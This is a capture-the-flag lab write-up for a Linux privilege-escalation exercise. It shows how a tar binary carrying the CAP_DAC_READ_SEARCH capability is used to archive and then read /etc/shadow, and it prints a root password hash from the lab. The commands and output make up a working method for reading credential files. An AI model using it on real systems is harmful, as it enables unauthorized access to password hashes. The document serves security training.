

[illegible]

<b>Name</b>	The Basics: CAP_DAC_READ_SEARCH
<b>URL</b>	<a href="https://attackdefense.com/challengedetails?cid=1343">https://attackdefense.com/challengedetails?cid=1343</a>
<b>Type</b>	Privilege Escalation : Linux Capabilities

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Objective:** In this lab, you need to abuse the CAP\_DAC\_READ\_SEARCH to get the password hash of the root user!

#### **Solution:**

**Step 1:** Identify the binaries which have capabilities set.

**Command:** getcap -r / 2>/dev/null

```
student@localhost:~$  
student@localhost:~$ getcap -r / 2>/dev/null  
/bin/tar = cap_dac_read_search+ep  
student@localhost:~$
```

The CAP\_DAC\_READ\_SEARCH capability is set on /bin/tar binary. As a result, the current user can bypass file read permission checks and directory read/execute permission checks.

**Step 2:** Change to /etc directory and try to print the content of shadow file.

#### **Commands:**

```
cd /etc  
cat shadow
```

```
student@localhost:~$ cd /etc/  
student@localhost:/etc$  
student@localhost:/etc$  
student@localhost:/etc$ cat shadow  
cat: shadow: Permission denied  
student@localhost:/etc$
```

It will throw an error as the current user doesn't have permission to read the shadow file.

**Step 3:** As the tar binary has the capability to bypass the file read permissions, create a tar archive in /tmp directory and add the shadow file to it.

**Command:** tar -czf /tmp/shadow.tar.gz shadow

```
student@localhost:/etc$ tar -czf /tmp/shadow.tar.gz shadow
```

Once the tar is created, switch to /tmp directory and check the archive.

**Commands:** cd /tmp/  
ls -l

```
student@localhost:/etc$ cd /tmp/  
student@localhost:/tmp$ ls -l  
total 4  
-rw-rw-r-- 1 student student 490 Nov 11 10:34 shadow.tar.gz  
student@localhost:/tmp$
```

**Step 4:** Extract the tar archive and take the shadow file out.

**Command:** tar -xzf shadow.tar.gz

```
student@localhost:/tmp$ tar -xzf shadow.tar.gz  
student@localhost:/tmp$  
student@localhost:/tmp$ ls -l  
total 8  
-rw-r----- 1 student student 975 Nov  9 07:27 shadow  
-rw-rw-r-- 1 student student 490 Nov 11 10:34 shadow.tar.gz  
student@localhost:/tmp$
```

**Step 5:** Print the contents of shadow file using the cat command and retrieve the password hash of the root user.

**Command:** cat shadow

```
student@localhost:/tmp$  
student@localhost:/tmp$ cat shadow  
root:$6$8eKqb8/T$UeCBoJuGLI4ETZ.4Zgiyscsw.8RYgcG4MrnVLacGg5dUTJA8YSq12V6MtvKZLCs8A3jvLpsaofpybAz3UcCaC1:18212:0:99999:7:::  
daemon*:18124:0:99999:7:::  
bin*:18124:0:99999:7:::  
sys*:18124:0:99999:7:::  
sync*:18124:0:99999:7:::  
games*:18124:0:99999:7:::  
man*:18124:0:99999:7:::  
lp*:18124:0:99999:7:::  
mail*:18124:0:99999:7:::  
news*:18124:0:99999:7:::
```

**Password hash of root user:**

UeCBoJuGLI4ETZ.4Zgiyscsw.8RYgcG4MrnVLacGg5dUTJA8YSq12V6MtvKZLCs8A3jvLpsaofpybAz3UcCaC1

## References:

1. Capabilities (<http://man7.org/linux/man-pages/man7/capabilities.7.html>)